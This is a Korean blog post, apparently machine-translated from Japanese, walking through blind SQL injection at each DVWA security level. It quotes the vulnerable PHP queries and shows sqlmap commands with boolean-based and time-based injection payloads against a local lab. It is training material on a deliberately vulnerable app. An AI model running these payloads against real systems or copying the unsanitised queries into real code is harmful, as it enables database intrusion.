DVWA(blindsQL 주입) 전체 수준의 취약성 정보

11308 단어 DVWAPHPSQL 주입Kali

전제 조건

  • kali linux 환경 있음
  • DVWA가 설정됨
  • 기본 수준 이해
  • 목표

  • 취약성에 대한 이해를 깊이 하다.
  • 프로그램 개요

  • 대략적인 행위 파악
  • 코드를 보고 빈틈을 발견
  • 공격 코드의 취약성
  • 컨텐트


    행동의 파악


    low

  • 존재하는 ID 및 존재하지 않는 ID 입력
  • 조회 진입
  • url
  • success/fail의 문장을 통해 입력한 결과를 판단합니다.


  • medium

  • selectBox의 option 값을 POST
  • 로 설정합니다.
  • success/fail의 문장을 통해 입력한 결과를 판단합니다.

  • high

  • 클릭하여 다른 창 열기
  • 다른 창에 id=>post id와submit을 입력합니다.그때 아이디를 쿠키에 묻고
  • 위의response를 받아들여 원 화면에서 GET.그때 아이디를 쿠키에 묻고
  • success/fail의 문장을 통해 입력한 결과를 판단합니다.

  • 확인 코드


    low

  • 직접 입력 값을 저장합니다.
  • <?php
        $id = $_GET[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    ?> 
    

    medium


    url에서 문자열을 입력하거나 직접 입력할 수 없습니다.
  • mysqli_real_escape_string에서 특수 문자 도피
  • <?php
        // Get input
        $id = $_POST[ 'id' ];
        $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    ?> 
    

    high

  • 문자의 도피가 없어 개의치 않는다.
  • limit1에 하나만 표시되지만 sqlmap을 사용했기 때문에 괜찮습니다.
  • 쿠키에서 SQL 명령에 포함된 id를 가져옵니다.
  • <?php
        // Get input
        $id = $_COOKIE[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors 
    ?>
    

    impossible

  • token 검사
  • is_numberic으로 수치 여부를 판단합니다
  • <?php
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
        } 
    ?>
    

    공격 취약성


    low

  • url에 조회 모드가 있어서 간단합니다.
  • sqlmap의 URL에 조회가 포함되면 sqlmap에 의뢰하면 됩니다.
  • root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1"
    # その結果が以下
    ---
    Parameter: id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: id=1' AND 6579=6579 AND 'ztyK'='ztyK&Submit=Submit
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: id=1' AND (SELECT 6933 FROM (SELECT(SLEEP(5)))IIUV) AND 'lrmA'='lrmA&Submit=Submit
    ---
    
    

    medium

  • POST 요청만 고려하면 됩니다.
  • sqlmap에 데이터 옵션을 추가하면post처리를 시뮬레이션합니다.
  • # --data request_bodyにparamsを乗せる
    root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=medium; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1" --data="id=1&Submit=Submit"
    
    # その結果が以下
    ---
    Parameter: id (POST)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: id=1 AND 7941=7941&Submit=Submit
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: id=1 AND (SELECT 5502 FROM (SELECT(SLEEP(5)))BxyM)&Submit=Submit
    ---
    

    high

  • 여기 머리를 좀 써.
  • sqlmap에 설정된 URL에 주의하십시오
  • sqli_blind/cookie-input.php 상황
  • id와submit을 포함하는post와 id를 포함하는 쿠키를 시뮬레이션해야 합니다.(이건 문제 없어)
  • 이 공격은success/fail에서response의 차별이 없기 때문에 sqlmap에서 취약성을 판정할 수 없습니다.(이곳은 매혹적인 곳)
  • sqli_blind/
  • 사실 GET 및 쿼리가 없음
  • 아이디가 있는 쿠키만 있으면 됩니다
  • 위에서 말한 바와 같이 공격 대상으로 적합한 것은'sqli'blind/”
  • 이므로 다음 명령을 수행합니다
  • .
    # -p {param} で攻撃に使用するparam指定。
    # --dbms データベース指定。(対象を絞り解析時間の節約用)
    root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1" -p id --dbms=mysql
    
    # その結果が以下
    ---
    Parameter: id (Cookie)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' AND 2480=2480-- jotW
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
        Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' OR SLEEP(5)-- caGm
    ---
    

    impossible

  • 무리수
  • 좋은 웹페이지 즐겨찾기